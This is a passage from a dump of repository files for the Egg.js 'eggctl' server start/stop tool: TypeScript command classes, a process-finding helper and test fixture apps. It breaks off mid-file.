    "content": "import path from 'node:path';\nimport { debuglog } from 'node:util';\n\nimport { Command, Interfaces } from '@oclif/core';\nimport { readJSON } from 'utility';\n\nimport type { PackageEgg } from './types.ts';\n\nconst debug = debuglog('egg/scripts/baseCommand');\n\ntype Flags<T extends typeof Command> = Interfaces.InferredFlags<(typeof BaseCommand)['baseFlags'] & T['flags']>;\ntype Args<T extends typeof Command> = Interfaces.InferredArgs<T['args']>;\n\nexport abstract class BaseCommand<T extends typeof Command> extends Command {\n  // add the --json flag\n  static enableJsonFlag = false;\n\n  // define flags that can be inherited by any command that extends BaseCommand\n  static baseFlags = {\n    // 'log-level': Flags.option({\n    //   default: 'info',\n    //   helpGroup: 'GLOBAL',\n    //   options: ['debug', 'warn', 'error', 'info', 'trace'] as const,\n    //   summary: 'Specify level for logging.',\n    // })(),\n  };\n\n  protected flags!: Flags<T>;\n  protected args!: Args<T>;\n\n  protected env = { ...process.env };\n  protected pkg: Record<string, any>;\n  protected isESM: boolean;\n  protected pkgEgg: PackageEgg;\n  protected globalExecArgv: string[] = [];\n\n  public async init(): Promise<void> {\n    await super.init();\n    debug('[init] raw args: %o, NODE_ENV: %o', this.argv, this.env.NODE_ENV);\n    const { args, flags } = await this.parse({\n      flags: this.ctor.flags,\n      baseFlags: (super.ctor as typeof BaseCommand).baseFlags,\n      enableJsonFlag: this.ctor.enableJsonFlag,\n      args: this.ctor.args,\n      strict: this.ctor.strict,\n    });\n    this.flags = flags as Flags<T>;\n    this.args = args as Args<T>;\n  }\n\n  protected async initBaseInfo(baseDir: string) {\n    const pkg = await readJSON(path.join(baseDir, 'package.json'));\n    this.pkg = pkg;\n    this.pkgEgg = pkg.egg ?? {};\n    this.isESM = pkg.type === 'module';\n    debug('[initBaseInfo] baseDir: %o, pkgEgg: %o, isESM: %o', baseDir, this.pkgEgg, this.isESM);\n  }\n\n  protected async catch(err: Error & { exitCode?: number }): Promise<any> {\n    // add any custom logic to handle errors from the command\n    // or simply return the parent class error handling\n    return super.catch(err);\n  }\n\n  protected async finally(_: Error | undefined): Promise<any> {\n    // called after run and catch regardless of whether or not the command errored\n    return super.finally(_);\n  }\n}\n"
  },
  {
    "path": "tools/scripts/src/commands/start.ts",
    "content": "import { spawn, type SpawnOptions, type ChildProcess, execFile as _execFile } from 'node:child_process';\nimport { mkdir, rename, stat, open } from 'node:fs/promises';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\nimport { debuglog, promisify } from 'node:util';\n\nimport { getFrameworkPath, importResolve } from '@eggjs/utils';\nimport { Args, Flags } from '@oclif/core';\nimport { homedir } from 'node-homedir';\nimport { readJSON, exists, getDateStringParts } from 'utility';\n\nimport { BaseCommand } from '../baseCommand.ts';\n\nconst debug = debuglog('egg/scripts/commands/start');\n\nconst execFile = promisify(_execFile);\n\nexport interface FrameworkOptions {\n  baseDir: string;\n  framework?: string;\n}\n\nexport default class Start<T extends typeof Start> extends BaseCommand<T> {\n  static override description = 'Start server at prod mode';\n\n  static override examples = ['<%= config.bin %> <%= command.id %>'];\n\n  static override args = {\n    baseDir: Args.string({\n      description: 'directory of application',\n      required: false,\n    }),\n  };\n\n  static override flags = {\n    title: Flags.string({\n      description: 'process title description, use for kill grep, default to `egg-server-${APP_NAME}`',\n    }),\n    framework: Flags.string({\n      description: 'specify framework that can be absolute path or npm package',\n    }),\n    port: Flags.integer({\n      description: 'listening port, default to `process.env.PORT`',\n      char: 'p',\n    }),\n    workers: Flags.integer({\n      char: 'c',\n      aliases: ['cluster'],\n      description: 'numbers of app workers, default to `process.env.EGG_WORKERS` or `os.cpus().length`',\n    }),\n    env: Flags.string({\n      description: 'server env, default to `process.env.EGG_SERVER_ENV`',\n      default: process.env.EGG_SERVER_ENV,\n    }),\n    daemon: Flags.boolean({\n      description: 'whether run at background daemon mode',\n    }),\n    stdout: Flags.string({\n      description: 'customize stdout file',\n    }),\n    stderr: Flags.string({\n      description: 'customize stderr file',\n    }),\n    timeout: Flags.integer({\n      description: 'the maximum timeout(ms) when app starts',\n      default: 300 * 1000,\n    }),\n    'ignore-stderr': Flags.boolean({\n      description: 'whether ignore stderr when app starts',\n    }),\n    node: Flags.string({\n      description: 'customize node command path',\n      default: 'node',\n    }),\n    require: Flags.string({\n      summary: 'require the given module',\n      char: 'r',\n      multiple: true,\n    }),\n    sourcemap: Flags.boolean({\n      summary: 'whether enable sourcemap support, will load `source-map-support` etc',\n      aliases: ['ts', 'typescript'],\n    }),\n  };\n\n  isReady = false;\n  #child: ChildProcess;\n\n  protected async getFrameworkPath(options: FrameworkOptions): Promise<string> {\n    return getFrameworkPath(options);\n  }\n\n  protected async getFrameworkName(frameworkPath: string): Promise<string> {\n    const pkgPath = path.join(frameworkPath, 'package.json');\n    let name = 'egg';\n    try {\n      const pkg = await readJSON(pkgPath);\n      if (pkg.name) {\n        name = pkg.name;\n      }\n    } catch {\n      // ignore\n    }\n    return name;\n  }\n\n  protected async getServerBin(): Promise<string> {\n    const serverBinName = this.isESM ? 'start-cluster.mjs' : 'start-cluster.cjs';\n    return path.join(import.meta.dirname, '../../scripts', serverBinName);\n  }\n\n  public async run(): Promise<void> {\n    const { args, flags } = this;\n    // context.execArgvObj = context.execArgvObj || {};\n    // const { argv, env, cwd, execArgvObj } = context;\n    const HOME = homedir();\n    const logDir = path.join(HOME, 'logs');\n\n    // eggctl start\n    // eggctl start ./server\n    // eggctl start /opt/app\n    const cwd = process.cwd();\n    let baseDir = args.baseDir || cwd;\n    if (!path.isAbsolute(baseDir)) {\n      baseDir = path.join(cwd, baseDir);\n    }\n    await this.initBaseInfo(baseDir);\n\n    flags.framework = await this.getFrameworkPath({\n      framework: flags.framework,\n      baseDir,\n    });\n\n    const frameworkName = await this.getFrameworkName(flags.framework);\n\n    flags.title = flags.title || `egg-server-${this.pkg.name}`;\n\n    flags.stdout = flags.stdout || path.join(logDir, 'master-stdout.log');\n    flags.stderr = flags.stderr || path.join(logDir, 'master-stderr.log');\n\n    if (flags.workers === undefined && process.env.EGG_WORKERS) {\n      flags.workers = Number(process.env.EGG_WORKERS);\n    }\n\n    // normalize env\n    this.env.HOME = HOME;\n    this.env.NODE_ENV = 'production';\n    // disable ts file loader\n    this.env.EGG_TS_ENABLE = 'false';\n\n    // it makes env big but more robust\n    this.env.PATH = this.env.Path = [\n      // for nodeinstall\n      path.join(baseDir, 'node_modules/.bin'),\n      // support `.node/bin`, due to npm5 will remove `node_modules/.bin`\n      path.join(baseDir, '.node/bin'),\n      // adjust env for win\n      this.env.PATH || this.env.Path,\n    ]\n      .filter((x) => !!x)\n      .join(path.delimiter);\n\n    // for alinode\n    this.env.ENABLE_NODE_LOG = 'YES';\n    this.env.NODE_LOG_DIR = this.env.NODE_LOG_DIR || path.join(logDir, 'alinode');\n    await mkdir(this.env.NODE_LOG_DIR, { recursive: true });\n\n    // cli argv -> process.env.EGG_SERVER_ENV -> `undefined` then egg will use `prod`\n    if (flags.env) {\n      // if undefined, should not pass key due to `spawn`, https://github.com/nodejs/node/blob/master/lib/child_process.js#L470\n      this.env.EGG_SERVER_ENV = flags.env;\n    }\n\n    // additional execArgv\n    const execArgv: string[] = ['--no-deprecation', '--trace-warnings'];\n    if (this.pkgEgg.revert) {\n      const reverts = Array.isArray(this.pkgEgg.revert) ? this.pkgEgg.revert : [this.pkgEgg.revert];\n      for (const revert of reverts) {\n        execArgv.push(`--security-revert=${revert}`);\n      }\n    }\n\n    // pkg.eggScriptsConfig.require\n    const scriptsConfig: Record<string, any> = this.pkg.eggScriptsConfig;\n    if (scriptsConfig?.require) {\n      scriptsConfig.require = Array.isArray(scriptsConfig.require) ? scriptsConfig.require : [scriptsConfig.require];\n      flags.require = [...scriptsConfig.require, ...(flags.require ?? [])];\n    }\n\n    // read argv from eggScriptsConfig in package.json\n    if (scriptsConfig) {\n      for (const key in scriptsConfig) {\n        const v = scriptsConfig[key];\n        if (key.startsWith('node-options--')) {\n          const newKey = key.replace('node-options--', '');\n          if (v === true) {\n            // \"node-options--allow-wasi\": true\n            // => --allow-wasi\n            execArgv.push(`--${newKey}`);\n          } else {\n            // \"node-options--max-http-header-size\": \"20000\"\n            // => --max-http-header-size=20000\n            execArgv.push(`--${newKey}=${v}`);\n          }\n          continue;\n        }\n        const existsValue = Reflect.get(flags, key);\n        if (existsValue === undefined) {\n          // only set if key is not pass from command line\n          Reflect.set(flags, key, v);\n        }\n      }\n    }\n\n    // read `egg.typescript` from package.json\n    if (this.pkgEgg.typescript && flags.sourcemap === undefined) {\n      flags.sourcemap = true;\n    }\n    if (flags.sourcemap) {\n      const sourceMapSupportPkgPath = importResolve('source-map-support/package.json', {\n        paths: [import.meta.dirname],\n      });\n      const sourceMapSupport = path.join(path.dirname(sourceMapSupportPkgPath), 'register.js');\n      if (this.isESM) {\n        execArgv.push('--import', sourceMapSupport);\n      } else {\n        execArgv.push('--require', sourceMapSupport);\n      }\n    }\n\n    if (flags.port === undefined && process.env.PORT) {\n      flags.port = parseInt(process.env.PORT);\n    }\n\n    debug('flags: %o, framework: %o, baseDir: %o, execArgv: %o', flags, frameworkName, baseDir, execArgv);\n\n    const command = flags.node;\n    const options: SpawnOptions = {\n      env: this.env,\n      stdio: 'inherit',\n      detached: false,\n      cwd: baseDir,\n    };\n\n    this.log('Starting %s application at %s', frameworkName, baseDir);\n\n    // remove unused properties from stringify, alias had been remove by `removeAlias`\n    const ignoreKeys = ['env', 'daemon', 'stdout', 'stderr', 'timeout', 'ignore-stderr', 'node'];\n    const clusterOptions = stringify(\n      {\n        ...flags,\n        baseDir,\n      },\n      ignoreKeys,\n    );\n    // Note: `spawn` is not like `fork`, had to pass `execArgv` yourself\n    const serverBin = await this.getServerBin();\n    const eggArgs = [...execArgv, serverBin, clusterOptions, `--title=${flags.title}`];\n    const spawnScript = `${command} ${eggArgs.map((a) => `'${a}'`).join(' ')}`;\n    this.log('Spawn %o', spawnScript);\n\n    // whether run in the background.\n    if (flags.daemon) {\n      this.log(`Save log file to ${logDir}`);\n      const [stdout, stderr] = await Promise.all([getRotateLog(flags.stdout), getRotateLog(flags.stderr)]);\n      options.stdio = ['ignore', stdout, stderr, 'ipc'];\n      options.detached = true;\n      const child = (this.#child = spawn(command, eggArgs, options));\n      this.isReady = false;\n      child.on('message', (msg: any) => {\n        // https://github.com/eggjs/cluster/blob/master/src/master.ts#L119\n        if (msg && msg.action === 'egg-ready') {\n          this.isReady = true;\n          this.log('%s started on %s', frameworkName, msg.data.address);\n          child.unref();\n          child.disconnect();\n        }\n      });\n\n      // check start status\n      await this.checkStatus();\n    } else {\n      options.stdio = ['inherit', 'inherit', 'inherit', 'ipc'];\n      const child = (this.#child = spawn(command, eggArgs, options));\n      child.once('exit', (code) => {\n        if (!code) return;\n        // command should exit after child process exit\n        this.exit(code);\n      });\n\n      // attach master signal to child\n      const signals = ['SIGINT', 'SIGQUIT', 'SIGTERM'] as NodeJS.Signals[];\n      signals.forEach((event) => {\n        process.once(event, () => {\n          debug('Kill child %s with %s', child.pid, event);\n          child.kill(event);\n        });\n      });\n    }\n  }\n\n  protected async checkStatus(): Promise<void> {\n    let count = 0;\n    let hasError = false;\n    let isSuccess = true;\n    const timeout = this.flags.timeout / 1000;\n    const stderrFile = this.flags.stderr!;\n    while (!this.isReady) {\n      try {\n        const stats = await stat(stderrFile);\n        if (stats && stats.size > 0) {\n          hasError = true;\n          break;\n        }\n      } catch {\n        // nothing\n      }\n\n      if (count >= timeout) {\n        this.logToStderr('Start failed, %ds timeout', timeout);\n        isSuccess = false;\n        break;\n      }\n\n      await scheduler.wait(1000);\n      this.log('Wait Start: %d...', ++count);\n    }\n\n    if (hasError) {\n      try {\n        const args = ['-n', '100', stderrFile];\n        this.logToStderr('tail %s', args.join(' '));\n        const { stdout: headStdout } = await execFile('head', args);\n        const { stdout: tailStdout } = await execFile('tail', args);\n        this.logToStderr('Got error when startup: ');\n        this.logToStderr(headStdout);\n        this.logToStderr('...');\n        this.logToStderr(tailStdout);\n      } catch (err) {\n        this.logToStderr('ignore tail error: %s', err);\n      }\n      isSuccess = this.flags['ignore-stderr'];\n      this.logToStderr('Start got error, see %o', stderrFile);\n      this.logToStderr('Or use `--ignore-stderr` to ignore stderr at startup.');\n    }\n\n    if (!isSuccess) {\n      this.#child.kill('SIGTERM');\n      await scheduler.wait(1000);\n      this.exit(1);\n    }\n  }\n}\n\nfunction stringify(obj: Record<string, any>, ignore: string[]) {\n  const result: Record<string, any> = {};\n  Object.keys(obj).forEach((key) => {\n    if (!ignore.includes(key)) {\n      result[key] = obj[key];\n    }\n  });\n  return JSON.stringify(result);\n}\n\nasync function getRotateLog(logFile: string) {\n  await mkdir(path.dirname(logFile), { recursive: true });\n\n  if (await exists(logFile)) {\n    // format style: .20150602.193100\n    const [YYYY, MM, DD, HH, mm, ss] = getDateStringParts();\n    const timestamp = `.${YYYY}${MM}${DD}.${HH}${mm}${ss}`;\n    // Note: rename last log to next start time, not when last log file created\n    await rename(logFile, logFile + timestamp);\n  }\n\n  return (await open(logFile, 'a')).fd;\n}\n"
  },
  {
    "path": "tools/scripts/src/commands/stop.ts",
    "content": "import { scheduler } from 'node:timers/promises';\nimport { debuglog, format } from 'node:util';\n\nimport { Args, Flags } from '@oclif/core';\n\nimport { BaseCommand } from '../baseCommand.ts';\nimport { isWindows, findNodeProcess, type NodeProcess, kill } from '../helper.ts';\n\nconst debug = debuglog('egg/scripts/commands/stop');\n\nconst osRelated = {\n  titleTemplate: isWindows ? '\\\\\"title\\\\\":\\\\\"%s\\\\\"' : '\"title\":\"%s\"',\n  // node_modules/@eggjs/cluster/dist/app_worker.js\n  appWorkerPath: /@eggjs[/\\\\]cluster[/\\\\]dist[/\\\\]app_worker\\.js/i,\n  // node_modules/@eggjs/cluster/dist/agent_worker.js\n  agentWorkerPath: /@eggjs[/\\\\]cluster[/\\\\]dist[/\\\\]agent_worker\\.js/i,\n};\n\nexport default class Stop<T extends typeof Stop> extends BaseCommand<T> {\n  static override description = 'Stop server';\n\n  static override examples = ['<%= config.bin %> <%= command.id %>'];\n\n  static override args = {\n    baseDir: Args.string({\n      description: 'directory of application',\n      required: false,\n    }),\n  };\n\n  static override flags = {\n    title: Flags.string({\n      description: 'process title description, use for kill grep',\n    }),\n    timeout: Flags.integer({\n      description: 'the maximum timeout(ms) when app stop',\n      default: 5000,\n    }),\n  };\n\n  public async run(): Promise<void> {\n    const { flags } = this;\n\n    this.log(`stopping egg application${flags.title ? ` with --title=${flags.title}` : ''}`);\n\n    // node ~/eggjs/scripts/scripts/start-cluster.cjs {\"title\":\"egg-server\",\"workers\":4,\"port\":7001,\"baseDir\":\"~/eggjs/test/showcase\",\"framework\":\"~/eggjs/test/showcase/node_modules/egg\"}\n    let processList = await this.findNodeProcesses((item) => {\n      const cmd = item.cmd;\n      const matched = flags.title\n        ? cmd.includes('start-cluster') && cmd.includes(format(osRelated.titleTemplate, flags.title))\n        : cmd.includes('start-cluster');\n      if (matched) {\n        debug('find master process: %o', item);\n      }\n      return matched;\n    });\n    let pids = processList.map((x) => x.pid);\n\n    if (pids.length) {\n      this.log('got master pid %j, list:', pids);\n      this.log('');\n      for (const item of processList) {\n        this.log('- %s: %o', item.pid, item.cmd);\n      }\n      this.log('');\n      this.killProcesses(pids);\n      // wait for 5s to confirm whether any worker process did not kill by master\n      await scheduler.wait(flags.timeout);\n    } else {\n      this.logToStderr(\"can't detect any running egg process\");\n    }\n\n    // node --debug-port=5856 /Users/tz/Workspaces/eggjs/test/showcase/node_modules/_egg-cluster@1.8.0@egg-cluster/lib/agent_worker.js {\"framework\":\"/Users/tz/Workspaces/eggjs/test/showcase/node_modules/egg\",\"baseDir\":\"/Users/tz/Workspaces/eggjs/test/showcase\",\"port\":7001,\"workers\":2,\"plugins\":null,\"https\":false,\"key\":\"\",\"cert\":\"\",\"title\":\"egg-server\",\"clusterPort\":52406}\n    // node /Users/tz/Workspaces/eggjs/test/showcase/node_modules/_egg-cluster@1.8.0@egg-cluster/lib/app_worker.js {\"framework\":\"/Users/tz/Workspaces/eggjs/test/showcase/node_modules/egg\",\"baseDir\":\"/Users/tz/Workspaces/eggjs/test/showcase\",\"port\":7001,\"workers\":2,\"plugins\":null,\"https\":false,\"key\":\"\",\"cert\":\"\",\"title\":\"egg-server\",\"clusterPort\":52406}\n    // ~/bin/node --no-deprecation --trace-warnings ~/eggjs/examples/helloworld/node_modules/@eggjs/cluster/dist/commonjs/agent_worker.js {\"baseDir\":\"~/eggjs/examples/helloworld\",\"startMode\":\"process\",\"framework\":\"~/eggjs/examples/helloworld/node_modules/egg\",\"title\":\"egg-server-helloworld\",\"workers\":10,\"clusterPort\":58977}\n    processList = await this.findNodeProcesses((item) => {\n      const cmd = item.cmd;\n      const matched = flags.title\n        ? (osRelated.appWorkerPath.test(cmd) || osRelated.agentWorkerPath.test(cmd)) &&\n          cmd.includes(format(osRelated.titleTemplate, flags.title))\n        : osRelated.appWorkerPath.test(cmd) || osRelated.agentWorkerPath.test(cmd);\n      if (matched) {\n        debug('find app/agent worker process: %o', item);\n      }\n      return matched;\n    });\n    pids = processList.map((x) => x.pid);\n\n    if (pids.length) {\n      this.log('got worker/agent pids %j that is not killed by master', pids);\n      this.killProcesses(pids);\n    }\n\n    this.log('stopped');\n  }\n\n  protected async findNodeProcesses(filter: (item: NodeProcess) => boolean): Promise<NodeProcess[]> {\n    return findNodeProcess(filter);\n  }\n\n  protected killProcesses(pids: number[], signal: NodeJS.Signals = 'SIGTERM') {\n    kill(pids, signal);\n  }\n}\n"
  },
  {
    "path": "tools/scripts/src/helper.ts",
    "content": "import { runScript } from 'runscript';\n\nexport const isWindows = process.platform === 'win32';\n\nconst REGEX = isWindows ? /^(.*)\\s+(\\d+)\\s*$/ : /^\\s*(\\d+)\\s+(.*)/;\n\nexport interface NodeProcess {\n  pid: number;\n  cmd: string;\n}\n\nexport type FilterFunction = (item: NodeProcess) => boolean;\n\nexport async function findNodeProcess(filterFn?: FilterFunction): Promise<NodeProcess[]> {\n  const command = isWindows\n    ? 'wmic Path win32_process Where \"Name = \\'node.exe\\'\" Get CommandLine,ProcessId'\n    : // command, cmd are alias of args, not POSIX standard, so we use args\n      'ps -wweo \"pid,args\"';\n  const stdio = await runScript(command, { stdio: 'pipe' });\n  const processList = stdio\n    .stdout!.toString()\n    .split('\\n')\n    .reduce<NodeProcess[]>((arr, line) => {\n      if (!!line && !line.includes('/bin/sh') && line.includes('node')) {\n        const m = line.match(REGEX);\n        if (m) {\n          const item: NodeProcess = isWindows ? { pid: parseInt(m[2]), cmd: m[1] } : { pid: parseInt(m[1]), cmd: m[2] };\n          if (filterFn?.(item)) {\n            arr.push(item);\n          }\n        }\n      }\n      return arr;\n    }, []);\n  return processList;\n}\n\nexport function kill(pids: number[], signal?: string | number) {\n  pids.forEach((pid) => {\n    try {\n      process.kill(pid, signal);\n    } catch (err: any) {\n      if (err.code !== 'ESRCH') {\n        throw err;\n      }\n    }\n  });\n}\n"
  },
  {
    "path": "tools/scripts/src/index.ts",
    "content": "import Start from './commands/start.ts';\n\n// exports.StopCommand = require('./lib/cmd/stop');\n\nexport * from './baseCommand.ts';\nexport { Start, Start as StartCommand };\n"
  },
  {
    "path": "tools/scripts/src/types.ts",
    "content": "export interface PackageEgg {\n  framework?: boolean;\n  typescript?: boolean;\n  tscompiler?: string;\n  declarations?: boolean;\n  revert?: string | string[];\n  require?: string | string[];\n  import?: string | string[];\n}\n"
  },
  {
    "path": "tools/scripts/test/egg-scripts.test.ts",
    "content": "import path from 'node:path';\n\nimport coffee from 'coffee';\nimport { describe, it } from 'vitest';\n\ndescribe('test/egg-scripts.test.ts', () => {\n  const eggBin = path.join(import.meta.dirname, '../bin/run.js');\n\n  it('show help', async () => {\n    await coffee\n      .fork(eggBin, ['--help'])\n      .debug()\n      .expect('stdout', /\\$ eggctl \\[COMMAND]/)\n      .expect('code', 0)\n      .end();\n\n    await coffee\n      .fork(eggBin, ['start', '-h'])\n      .debug()\n      .expect('stdout', /\\$ eggctl start \\[BASEDIR] /)\n      .expect('code', 0)\n      .end();\n\n    await coffee\n      .fork(eggBin, ['stop', '-h'])\n      .debug()\n      .expect('stdout', /\\$ eggctl stop \\[BASEDIR] /)\n      .expect('code', 0)\n      .end();\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/fixtures/cluster-config/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = `hi, ${app.config.framework || 'egg'}`;\n  });\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/cluster-config/config/config.default.js",
    "content": "exports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/cluster-config/config/config.prod.js",
    "content": "exports.cluster = {\n  listen: {\n    port: 8000,\n  },\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/cluster-config/package.json",
    "content": "{\n  \"name\": \"example\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/custom-node-dir/.node/bin/foo",
    "content": "bar\n"
  },
  {
    "path": "tools/scripts/test/fixtures/custom-node-dir/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = `hi, ${process.env.PATH}`;\n  });\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/custom-node-dir/config/config.default.js",
    "content": "exports.keys = '123456';\n"
  },
  {
    "path": "tools/scripts/test/fixtures/custom-node-dir/package.json",
    "content": "{\n  \"name\": \"example\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-app/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-app/package.json",
    "content": "{\n  \"name\": \"example\",\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-revert/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-revert/package.json",
    "content": "{\n  \"name\": \"example\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  },\n  \"egg\": {\n    \"framework\": \"custom-framework\",\n    \"revert\": \"CVE-2023-46809\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-scripts-config/app.js",
    "content": "const { scheduler } = require('node:timers/promises');\n\nmodule.exports = (app) => {\n  if (process.env.ERROR) {\n    app.logger.error(new Error(process.env.ERROR));\n  }\n\n  app.beforeStart(async () => {\n    await scheduler.wait(parseInt(process.env.WAIT_TIME));\n  });\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-scripts-config/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-scripts-config/package.json",
    "content": "{\n  \"name\": \"example\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  },\n  \"egg\": {\n    \"framework\": \"custom-framework\"\n  },\n  \"eggScriptsConfig\": {\n    \"ignore-stderr\": true,\n    \"daemon\": true,\n    \"workers\": 1\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-scripts-node-options/app.js",
    "content": "'use strict';\n\nmodule.exports = () => {\n  console.log('process.execArgv:', process.execArgv);\n  console.log('maxHeaderSize:', require('http').maxHeaderSize);\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-scripts-node-options/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n"
  },
  {
    "path": "tools/scripts/test/fixtures/egg-scripts-node-options/package.json",
    "content": "{\n  \"name\": \"example\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  },\n  \"eggScriptsConfig\": {\n    \"workers\": 1,\n    \"node-options--max-http-header-size\": \"20000\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = `hi, ${app.config.framework || 'egg'}`;\n  });\n\n  app.get('/env', async function () {\n    this.body = app.config.env + ', ' + app.config.pre;\n  });\n\n  app.get('/path', async function () {\n    this.body = process.env.PATH;\n  });\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example/app.js",
    "content": "module.exports = () => {\n  // --no-deprecation\n  new Buffer('aaa');\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example/config/config.pre.js",
    "content": "'use strict';\n\nexports.pre = true;\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example/package.json",
    "content": "{\n  \"name\": \"example\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg\": \"^1.0.0\"\n  },\n  \"egg\": {\n    \"framework\": \"custom-framework\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example-stop/app/router.js",
    "content": "module.exports = (app) => {\n  app.get('/', async function () {\n    this.body = `hi, ${app.config.framework || 'egg'}`;\n  });\n\n  app.get('/env', async function () {\n    this.body = app.config.env + ', ' + app.config.pre;\n  });\n\n  app.get('/path', async function () {\n    this.body = process.env.PATH;\n  });\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example-stop/app.js",
    "content": "module.exports = () => {\n  // --no-deprecation\n  new Buffer('aaa');\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example-stop/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.logger = {\n  level: 'WARN',\n  consoleLevel: 'WARN',\n};\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example-stop/config/config.pre.js",
    "content": "'use strict';\n\nexports.pre = true;\n"
  },
  {
    "path": "tools/scripts/test/fixtures/example-stop/package.json",
    "content": "{\n  \"name\": \"example-stop\",\n  \"version\": \"1.0.0\",\n  \"dependencies\": {\n    \"egg\": \"*\"\n  },\n  \"egg\": {\n    \"framework\": \"custom-framework\"\n  }\n}\n"
  },
  {
    "path": "tools/scripts/test/fixtures/ipc-bin/start.js",
    "content": "'use strict';\n\nconst co = require('co');\n\nconst BaseStartCommand = require('../../../lib/cmd/start');\n\nclass StartCommand extends BaseStartCommand {\n  *run(context) {\n    yield super.run(context);\n    const child = this.child;\n    child.on('message', (msg) => {\n      if (msg && msg.action === 'egg-ready') {\n        console.log('READY!!!');\n      }\n    });\n  }\n}\n\nconst start = new StartCommand();\n\nco(function* () {\n  yield start.run({\n    argv: {\n      framework: 'custom-framework',\n      _: [process.env.BASE_DIR],\n      workers: 2,\n      title: 'egg-server-example',\n    },\n    cwd: process.env.BASE_DIR,\n    // FIXME: overide run argv so execArgvObj is missing\n    // execArgv: [],\n    env: {\n      PATH: process.env.PATH,\n    },\n  });\n});\n"
  },
  {
    "path": "tools/scripts/test/fixtures/mock-egg/index.ts",
    "content": "import { existsSync } from 'node:fs';\nimport path from 'node:path';\nimport { scheduler } from 'node:timers/promises';\n\nexport interface StartClusterOptions {\n  framework: string;\n  workers: number;\n  port?: number;\n  baseDir: string;\n  env: string;\n  execArgv: string[];\n}\n\nexport async function startCluster(options: StartClusterOptions): Promise<void> {\n  console.log('startCluster options: %o', options);\n  const frameworkName = path.basename(options.framework);\n  const port = options.port ?? 7001;\n  const app = new Application(options);\n  new Agent(options);\n\n  function exitBySignal(signal: string) {\n    return () => {\n      console.log('[master] master is killed by signal %s, closing', signal);\n      console.log('[master] exit with code:0');\n      process.exit(0);\n    };\n  }\n\n  // kill(2) Ctrl-C\n  process.once('SIGINT', exitBySignal('SIGINT'));\n  // kill(3) Ctrl-\\\n  process.once('SIGQUIT', exitBySignal('SIGQUIT'));\n  // kill(15) default\n  process.once('SIGTERM', exitBySignal('SIGTERM'));\n\n  process.once('exit', exitBySignal('exit'));\n\n  setTimeout(() => {\n    console.log('exit by timeout');\n    process.exit(1);\n  }, 10000);\n\n  await scheduler.wait(10);\n  const appFile = path.join(options.baseDir, 'app.js');\n  await run(appFile, app);\n  const address = `http://127.0.0.1:${port}`;\n  process.send?.({\n    action: 'egg-ready',\n    data: {\n      address,\n    },\n  });\n  console.log('startCluster done');\n  console.log(`${frameworkName} started on ${address}`);\n}\n\nexport class Application {\n  #beforeCloseFns: (() => Promise<void>)[] = [];\n\n  constructor(options: any) {\n    console.log('Application', options);\n    process.once('exit', (code) => {\n      this.close()\n        .then(() => {\n          console.log('app close done');\n        })\n        .catch((error) => {\n          console.error('app close failed: %s', error);\n        });\n      console.log('[app_worker] exit with code:%s', code);\n    });\n  }\n\n  beforeClose(fn: () => Promise<void>): void {\n    console.log('add beforeClose hook');\n    this.#beforeCloseFns.push(fn);\n  }\n\n  async ready(): Promise<void> {\n    console.log('app ready');\n  }\n\n  async close(): Promise<void> {\n    console.log('app close beforeClose hooks');\n    for (const fn of this.#beforeCloseFns) {\n      await fn();\n    }\n    console.log('app close done');\n  }\n}\n\nexport class Agent {\n  constructor(options: any) {\n    console.log('Agent', options);\n    process.once('exit', (code) => {\n      